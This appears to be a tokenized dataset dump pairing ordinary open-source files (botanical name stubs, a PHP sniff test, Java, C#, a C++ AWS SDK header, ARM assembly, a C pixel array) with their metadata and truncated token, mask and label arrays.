[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# Astragalus vesicarius f. nyaradyanus (Prodán) Kožuharov & D.K.Pavlova FORM #### Status ACCEPTED #### According to International Plant Names Index #### Published in null #### Original name Astragalus nyaradyanus Prodan ### Remarks null
mdoering/backbone
life/Plantae/Magnoliophyta/Magnoliopsida/Fabales/Fabaceae/Astragalus/Astragalus vesicarius/Astragalus vesicarius nyaradyanus/README.md
Markdown
apache-2.0
243
[ 30522, 1001, 2004, 6494, 9692, 2271, 2310, 19570, 8486, 2271, 1042, 1012, 6396, 5400, 25838, 10182, 1006, 4013, 7847, 1007, 12849, 9759, 8167, 4492, 1004, 1040, 1012, 30524, 1001, 1001, 1001, 2434, 2171, 2004, 6494, 9692, 2271, 6396, 5400, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# distance_field_demo Multi-channel distance field font starling & feathers demo. It is assumed that starling and feathers are a level higher in the "lib" directory. Please specify your path to air sdk in the "bat/SetupSDK.bat" file, e.g. set FLEX_SDK=c:\Flash\SDK_Air190
Klug76/distance_field_demo
README.md
Markdown
mit
274
[ 30522, 1001, 3292, 1035, 2492, 1035, 9703, 4800, 1011, 3149, 3292, 2492, 15489, 2732, 2989, 1004, 12261, 9703, 1012, 2009, 2003, 5071, 2008, 2732, 2989, 1998, 12261, 2024, 1037, 2504, 3020, 1999, 1996, 1000, 5622, 2497, 1000, 14176, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# Calamagrostis kai-alpina Honda SPECIES #### Status SYNONYM #### According to The Catalogue of Life, 3rd January 2011 #### Published in null #### Original name null ### Remarks null
mdoering/backbone
life/Plantae/Magnoliophyta/Liliopsida/Poales/Poaceae/Calamagrostis/Calamagrostis deschampsioides/ Syn. Calamagrostis kai-alpina/README.md
Markdown
apache-2.0
187
[ 30522, 1001, 10250, 8067, 16523, 14122, 2483, 11928, 1011, 2632, 26787, 11990, 2427, 1001, 1001, 1001, 1001, 3570, 10675, 1001, 1001, 1001, 1001, 2429, 2000, 1996, 10161, 1997, 2166, 1010, 3822, 2254, 2249, 1001, 1001, 1001, 1001, 2405, 199...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php /** * Internal Interfaces Sniff test file * * @package PHPCompatibility */ namespace PHPCompatibility\Tests\Interfaces; use PHPCompatibility\Tests\BaseSniffTest; /** * Internal Interfaces Sniff tests * * @group internalInterfaces * @group interfaces * * @covers \PHPCompatibility\Sniffs\Interfaces\InternalInterfacesSniff * * @uses \PHPCompatibility\Tests\BaseSniffTest * @package PHPCompatibility * @author Juliette Reinders Folmer <phpcompatibility_nospam@adviesenzo.nl> */ class InternalInterfacesUnitTest extends BaseSniffTest { /** * Sniffed file * * @var \PHP_CodeSniffer_File */ protected $sniffResult; /** * Interface error messages. * * @var array */ protected $messages = array( 'Traversable' => 'The interface Traversable shouldn\'t be implemented directly, implement the Iterator or IteratorAggregate interface instead.', 'DateTimeInterface' => 'The interface DateTimeInterface is intended for type hints only and is not implementable.', 'Throwable' => 'The interface Throwable cannot be implemented directly, extend the Exception class instead.', ); /** * Set up the test file for this unit test. * * @return void */ protected function setUp() { parent::setUp(); // Sniff file without testVersion as all checks run independently of testVersion being set. $this->sniffResult = $this->sniffFile(__FILE__); } /** * Test InternalInterfaces * * @dataProvider dataInternalInterfaces * * @param string $type Interface name. * @param array $line The line number in the test file. * * @return void */ public function testInternalInterfaces($type, $line) { $this->assertError($this->sniffResult, $line, $this->messages[$type]); } /** * Data provider. * * @see testInternalInterfaces() * * @return array */ public function dataInternalInterfaces() { return array( array('Traversable', 3), array('DateTimeInterface', 4), array('Throwable', 5), array('Traversable', 7), array('Throwable', 7), // Anonymous classes. array('Traversable', 17), array('DateTimeInterface', 18), array('Throwable', 19), array('Traversable', 20), array('Throwable', 20), ); } /** * Test interfaces in different cases. * * @return void */ public function testCaseInsensitive() { $this->assertError($this->sniffResult, 9, 'The interface DATETIMEINTERFACE is intended for type hints only and is not implementable.'); $this->assertError($this->sniffResult, 10, 'The interface datetimeinterface is intended for type hints only and is not implementable.'); } /** * testNoFalsePositives * * @dataProvider dataNoFalsePositives * * @param int $line The line number. * * @return void */ public function testNoFalsePositives($line) { $this->assertNoViolation($this->sniffResult, $line); } /** * Data provider. * * @see testNoFalsePositives() * * @return array */ public function dataNoFalsePositives() { return array( array(13), array(14), ); } /* * `testNoViolationsInFileOnValidVersion` test omitted as this sniff is version independent. */ }
universityofglasgow/moodle
local/codechecker/PHPCompatibility/Tests/Interfaces/InternalInterfacesUnitTest.php
PHP
gpl-3.0
3,588
[ 30522, 1026, 1029, 25718, 1013, 1008, 1008, 1008, 4722, 19706, 27907, 3231, 5371, 1008, 1008, 1030, 7427, 25718, 9006, 24952, 8553, 1008, 1013, 3415, 15327, 25718, 9006, 24952, 8553, 1032, 5852, 1032, 19706, 1025, 2224, 25718, 9006, 24952, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package sagex.phoenix.remote.services; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import javax.script.Invocable; import javax.script.ScriptException; import sagex.phoenix.util.PhoenixScriptEngine; public class JSMethodInvocationHandler implements InvocationHandler { private PhoenixScriptEngine eng; private Map<String, String> methodMap = new HashMap<String, String>(); public JSMethodInvocationHandler(PhoenixScriptEngine eng, String interfaceMethod, String jsMethod) { this.eng = eng; methodMap.put(interfaceMethod, jsMethod); } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (Object.class == method.getDeclaringClass()) { String name = method.getName(); if ("equals".equals(name)) { return proxy == args[0]; } else if ("hashCode".equals(name)) { return System.identityHashCode(proxy); } else if ("toString".equals(name)) { return proxy.getClass().getName() + "@" + Integer.toHexString(System.identityHashCode(proxy)) + ", with InvocationHandler " + this; } else { throw new IllegalStateException(String.valueOf(method)); } } String jsMethod = methodMap.get(method.getName()); if (jsMethod == null) { throw new NoSuchMethodException("No Javascript Method for " + method.getName()); } Invocable inv = (Invocable) eng.getEngine(); try { return inv.invokeFunction(jsMethod, args); } catch (NoSuchMethodException e) { throw new NoSuchMethodException("The Java Method: " + method.getName() + " maps to a Javascript Method " + jsMethod + " that does not exist."); } catch (ScriptException e) { throw e; } } }
stuckless/sagetv-phoenix-core
src/main/java/sagex/phoenix/remote/services/JSMethodInvocationHandler.java
Java
apache-2.0
1,998
[ 30522, 7427, 10878, 2595, 1012, 6708, 1012, 6556, 1012, 2578, 1025, 12324, 9262, 1012, 11374, 1012, 8339, 1012, 1999, 19152, 11774, 3917, 1025, 12324, 9262, 1012, 11374, 1012, 8339, 30524, 2361, 1025, 12324, 9262, 1012, 21183, 4014, 1012, 4...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
using System.Net; using System.Net.Http; using System.Web.Http; using Newtonsoft.Json.Linq; namespace Kudu.Services { public class EnvironmentController : ApiController { private static readonly string _version = typeof(EnvironmentController).Assembly.GetName().Version.ToString(); /// <summary> /// Get the Kudu version /// </summary> /// <returns></returns> [HttpGet] public HttpResponseMessage Get() { // Return the version and other api information (in the end) // { // "version" : "1.0.0" // } var obj = new JObject(new JProperty("version", _version)); return Request.CreateResponse(HttpStatusCode.OK, obj); } } }
shanselman/kudu
Kudu.Services/EnvironmentController.cs
C#
apache-2.0
783
[ 30522, 2478, 2291, 1012, 5658, 1025, 2478, 2291, 1012, 5658, 1012, 8299, 1025, 2478, 2291, 1012, 4773, 1012, 8299, 1025, 2478, 8446, 6499, 6199, 1012, 1046, 3385, 1012, 11409, 4160, 1025, 3415, 15327, 13970, 8566, 1012, 2578, 1063, 2270, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package main.java; public class SelectionSort9 { public static <T extends Comparable<T>> void sort(final T[] a) { for (int i = 0; i < a.length - 1; i++) { int min = i; for (int j = i + 1; j < a.length; j++) { if (a[j].compareTo(a[min]) < 0) { min = j; } } if (i != min) { final T tmp = a[min]; a[min] = a[i]; a[i] = tmp; } } } }
peteriliev/kata
SelectionSort/src/main/java/SelectionSort9.java
Java
apache-2.0
381
[ 30522, 7427, 2364, 1012, 9262, 1025, 2270, 2465, 16310, 11589, 2683, 1063, 2270, 10763, 1026, 1056, 8908, 12435, 1026, 1056, 1028, 1028, 11675, 4066, 1006, 2345, 1056, 1031, 1033, 1037, 1007, 1063, 2005, 1006, 20014, 1045, 1027, 1014, 1025,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #pragma once #include <aws/ec2/EC2_EXPORTS.h> #include <aws/ec2/EC2Request.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <utility> namespace Aws { namespace EC2 { namespace Model { /** * <p>Contains the parameters for AttachNetworkInterface.</p><p><h3>See Also:</h3> * <a * href="http://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachNetworkInterfaceRequest">AWS * API Reference</a></p> */ class AWS_EC2_API AttachNetworkInterfaceRequest : public EC2Request { public: AttachNetworkInterfaceRequest(); // Service request name is the Operation name which will send this request out, // each operation should has unique request name, so that we can get operation's name from this request. // Note: this is not true for response, multiple operations may have the same response name, // so we can not get operation's name from response. inline virtual const char* GetServiceRequestName() const override { return "AttachNetworkInterface"; } Aws::String SerializePayload() const override; protected: void DumpBodyToUrl(Aws::Http::URI& uri ) const override; public: /** * <p>The index of the device for the network interface attachment.</p> */ inline int GetDeviceIndex() const{ return m_deviceIndex; } /** * <p>The index of the device for the network interface attachment.</p> */ inline bool DeviceIndexHasBeenSet() const { return m_deviceIndexHasBeenSet; } /** * <p>The index of the device for the network interface attachment.</p> */ inline void SetDeviceIndex(int value) { m_deviceIndexHasBeenSet = true; m_deviceIndex = value; } /** * <p>The index of the device for the network interface attachment.</p> */ inline AttachNetworkInterfaceRequest& WithDeviceIndex(int value) { SetDeviceIndex(value); return *this;} /** * <p>Checks whether you have the required permissions for the action, without * actually making the request, and provides an error response. If you have the * required permissions, the error response is <code>DryRunOperation</code>. * Otherwise, it is <code>UnauthorizedOperation</code>.</p> */ inline bool GetDryRun() const{ return m_dryRun; } /** * <p>Checks whether you have the required permissions for the action, without * actually making the request, and provides an error response. If you have the * required permissions, the error response is <code>DryRunOperation</code>. * Otherwise, it is <code>UnauthorizedOperation</code>.</p> */ inline bool DryRunHasBeenSet() const { return m_dryRunHasBeenSet; } /** * <p>Checks whether you have the required permissions for the action, without * actually making the request, and provides an error response. If you have the * required permissions, the error response is <code>DryRunOperation</code>. * Otherwise, it is <code>UnauthorizedOperation</code>.</p> */ inline void SetDryRun(bool value) { m_dryRunHasBeenSet = true; m_dryRun = value; } /** * <p>Checks whether you have the required permissions for the action, without * actually making the request, and provides an error response. If you have the * required permissions, the error response is <code>DryRunOperation</code>. * Otherwise, it is <code>UnauthorizedOperation</code>.</p> */ inline AttachNetworkInterfaceRequest& WithDryRun(bool value) { SetDryRun(value); return *this;} /** * <p>The ID of the instance.</p> */ inline const Aws::String& GetInstanceId() const{ return m_instanceId; } /** * <p>The ID of the instance.</p> */ inline bool InstanceIdHasBeenSet() const { return m_instanceIdHasBeenSet; } /** * <p>The ID of the instance.</p> */ inline void SetInstanceId(const Aws::String& value) { m_instanceIdHasBeenSet = true; m_instanceId = value; } /** * <p>The ID of the instance.</p> */ inline void SetInstanceId(Aws::String&& value) { m_instanceIdHasBeenSet = true; m_instanceId = std::move(value); } /** * <p>The ID of the instance.</p> */ inline void SetInstanceId(const char* value) { m_instanceIdHasBeenSet = true; m_instanceId.assign(value); } /** * <p>The ID of the instance.</p> */ inline AttachNetworkInterfaceRequest& WithInstanceId(const Aws::String& value) { SetInstanceId(value); return *this;} /** * <p>The ID of the instance.</p> */ inline AttachNetworkInterfaceRequest& WithInstanceId(Aws::String&& value) { SetInstanceId(std::move(value)); return *this;} /** * <p>The ID of the instance.</p> */ inline AttachNetworkInterfaceRequest& WithInstanceId(const char* value) { SetInstanceId(value); return *this;} /** * <p>The ID of the network interface.</p> */ inline const Aws::String& GetNetworkInterfaceId() const{ return m_networkInterfaceId; } /** * <p>The ID of the network interface.</p> */ inline bool NetworkInterfaceIdHasBeenSet() const { return m_networkInterfaceIdHasBeenSet; } /** * <p>The ID of the network interface.</p> */ inline void SetNetworkInterfaceId(const Aws::String& value) { m_networkInterfaceIdHasBeenSet = true; m_networkInterfaceId = value; } /** * <p>The ID of the network interface.</p> */ inline void SetNetworkInterfaceId(Aws::String&& value) { m_networkInterfaceIdHasBeenSet = true; m_networkInterfaceId = std::move(value); } /** * <p>The ID of the network interface.</p> */ inline void SetNetworkInterfaceId(const char* value) { m_networkInterfaceIdHasBeenSet = true; m_networkInterfaceId.assign(value); } /** * <p>The ID of the network interface.</p> */ inline AttachNetworkInterfaceRequest& WithNetworkInterfaceId(const Aws::String& value) { SetNetworkInterfaceId(value); return *this;} /** * <p>The ID of the network interface.</p> */ inline AttachNetworkInterfaceRequest& WithNetworkInterfaceId(Aws::String&& value) { SetNetworkInterfaceId(std::move(value)); return *this;} /** * <p>The ID of the network interface.</p> */ inline AttachNetworkInterfaceRequest& WithNetworkInterfaceId(const char* value) { SetNetworkInterfaceId(value); return *this;} /** * <p>The index of the network card. Some instance types support multiple network * cards. The primary network interface must be assigned to network card index 0. * The default is network card index 0.</p> */ inline int GetNetworkCardIndex() const{ return m_networkCardIndex; } /** * <p>The index of the network card. Some instance types support multiple network * cards. The primary network interface must be assigned to network card index 0. * The default is network card index 0.</p> */ inline bool NetworkCardIndexHasBeenSet() const { return m_networkCardIndexHasBeenSet; } /** * <p>The index of the network card. Some instance types support multiple network * cards. The primary network interface must be assigned to network card index 0. * The default is network card index 0.</p> */ inline void SetNetworkCardIndex(int value) { m_networkCardIndexHasBeenSet = true; m_networkCardIndex = value; } /** * <p>The index of the network card. Some instance types support multiple network * cards. The primary network interface must be assigned to network card index 0. * The default is network card index 0.</p> */ inline AttachNetworkInterfaceRequest& WithNetworkCardIndex(int value) { SetNetworkCardIndex(value); return *this;} private: int m_deviceIndex; bool m_deviceIndexHasBeenSet; bool m_dryRun; bool m_dryRunHasBeenSet; Aws::String m_instanceId; bool m_instanceIdHasBeenSet; Aws::String m_networkInterfaceId; bool m_networkInterfaceIdHasBeenSet; int m_networkCardIndex; bool m_networkCardIndexHasBeenSet; }; } // namespace Model } // namespace EC2 } // namespace Aws
aws/aws-sdk-cpp
aws-cpp-sdk-ec2/include/aws/ec2/model/AttachNetworkInterfaceRequest.h
C
apache-2.0
8,205
[ 30522, 1013, 1008, 1008, 1008, 9385, 9733, 1012, 4012, 1010, 4297, 1012, 2030, 2049, 18460, 1012, 2035, 2916, 9235, 1012, 1008, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 15895, 1011, 1016, 1012, 1014, 1012, 1008, 1013, 1001, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
format ELF executable entry start EABI_CALL = 0x00 EX_OK = 0x00 STDOUT_FILENO = 0x01 sys_exit = 0x01 sys_write = 0x04 segment readable executable start: mov r0, STDOUT_FILENO add r1, pc, hello-$-8 mov r2, hello.len mov r7, sys_write svc EABI_CALL mov r0, EX_OK mov r7, sys_exit svc EABI_CALL hello: db 'Hello world',10 .len = $-hello
pelaillo/chip_asm
hello/hello.asm
Assembly
artistic-2.0
483
[ 30522, 4289, 17163, 4654, 8586, 23056, 4443, 2707, 19413, 5638, 1035, 2655, 1027, 1014, 2595, 8889, 4654, 1035, 7929, 1027, 1014, 2595, 8889, 2358, 26797, 2102, 30524, 5587, 1054, 2487, 1010, 7473, 1010, 7592, 1011, 1002, 1011, 1022, 9587, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
const uint8_t _pattern16x16[512] = { 0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0x92,0x48, 0x89,0xE6,0xF8,0x00,0xF8,0x00,0x83,0x49,0x5B,0x29,0xF8,0x00,0xF8,0x00,0xF8,0x00, 0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0x89,0xE6,0xFD,0xD6, 0xFE,0x37,0x92,0x47,0xF8,0x00,0x72,0xC7,0xEF,0xDC,0x63,0x6B,0xF8,0x00,0xF8,0x00, 0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0x89,0x48,0xFD,0x93,0xFA,0xA8, 0xD9,0x83,0xFD,0xB3,0x91,0x68,0xAA,0x2B,0xF7,0x1F,0x72,0xF0,0xF8,0x00,0xF8,0x00, 0xF8,0x00,0xF8,0x00,0xF8,0x00,0xF8,0x00,0xAA,0x2B,0xFD,0xFA,0xE1,0xC4,0xD1,0x21, 0xD9,0x83,0xE1,0xC4,0xFE,0x3B,0x99,0xCA,0xD5,0xFC,0x83,0x93,0xF8,0x00,0xF8,0x00, 0xF8,0x00,0xF8,0x00,0xF8,0x00,0xC1,0xE7,0xFD,0x56,0xEA,0x29,0xAA,0x88,0x68,0x80, 0x79,0x02,0xA2,0x47,0xC9,0x25,0xFD,0xF8,0xC2,0x07,0xB9,0xC7,0xF8,0x00,0xF8,0x00, 0xF8,0x00,0xF8,0x00,0xA1,0x04,0xFD,0xD6,0xE2,0x08,0xD9,0xC7,0x58,0x00,0xFD,0x33, 0xF4,0xB1,0x70,0xA0,0xD9,0xC7,0xC9,0x66,0xFE,0x17,0x98,0xE3,0xF8,0x00,0xF8,0x00, 0xF8,0x00,0x82,0x03,0xFD,0x31,0xE2,0x05,0xC2,0x07,0x78,0x00,0xB6,0x37,0xF7,0xFF, 0xF7,0xFF,0xB6,0x37,0x80,0x00,0xB1,0xA5,0xD9,0xC4,0xFE,0x15,0x69,0x60,0xF8,0x00, 0x92,0x64,0xFD,0xB1,0xEA,0x66,0xD9,0xA4,0x78,0x00,0xFC,0xD1,0xEF,0xDE,0xF7,0xFF, 0xF7,0xFF,0xE7,0xBD,0xFC,0xF2,0x88,0x80,0xD9,0xC4,0xD9,0xC4,0xFE,0xB5,0x8A,0x23, 0x48,0xE4,0x51,0x05,0x40,0x66,0x40,0x66,0xCD,0x58,0xFF,0x5F,0xFF,0xFE,0xFF,0x9C, 0xFF,0xFE,0xFF,0x7C,0xFF,0x7F,0xDD,0xDA,0x38,0x25,0x48,0x87,0x51,0x25,0x48,0xE4, 0xA3,0xAF,0xE5,0xB7,0xED,0xBB,0xFE,0x5E,0xFF,0x3F,0x6A,0x4D,0x62,0xC9,0x62,0xCA, 0x62,0xEA,0x62,0xEA,0x72,0x8D,0xFE,0xFF,0xFE,0x3D,0xED,0xBB,0xE5,0x97,0xAB,0xF0, 0x73,0xCC,0xFF,0xFD,0xEF,0xDE,0xE7,0x9D,0xFF,0xFF,0x94,0xD4,0xFF,0xFF,0xEF,0x9F, 0xB5,0x97,0xFF,0xFF,0x94,0xD4,0xFF,0xFF,0xF7,0xFF,0xF7,0xFE,0xFF,0xFD,0x6B,0xAC, 0x6B,0x8B,0xFF,0xFD,0xF7,0xFE,0xFF,0xFF,0xFF,0xFF,0x4A,0x6A,0xB5,0xB8,0xC6,0x5A, 0xC6,0x3A,0xEF,0x9F,0x5B,0x0D,0xF7,0xBF,0xFF,0xFF,0xF7,0xDE,0xFF,0xFD,0x73,0xCC, 0x6B,0xE7,0xFF,0xF9,0xFF,0xF7,0xFF,0x95,0xFF,0xFB,0xAD,0x50,0xDF,0xFF,0xDF,0xFF, 0xA6,0x9B,0xCF,0xBF,0x9C,0xAE,0xFF,0xFB,0xFF,0xF6,0xFF,0xF7,0xFF,0xF9,0x6B,0xE7, 0x63,0xA6,0xA5,0xAE,0xCD,0xEE,0xCD,0xEE,0xCE,0x34,0x63,0x07,0x33,0x0D,0x32,0xCC, 0x4B,0x8F,0x43,0x4E,0x63,0x07,0xCE,0x54,0xC5,0xAD,0xBD,0x8D,0xAD,0xEF,0x6B,0xE7, 0x73,0x28,0xD6,0x14,0xFF,0x5C,0xEE,0xB9,0xEE,0xD9,0xF7,0x1A,0xFF,0xDA,0xEF,0x58, 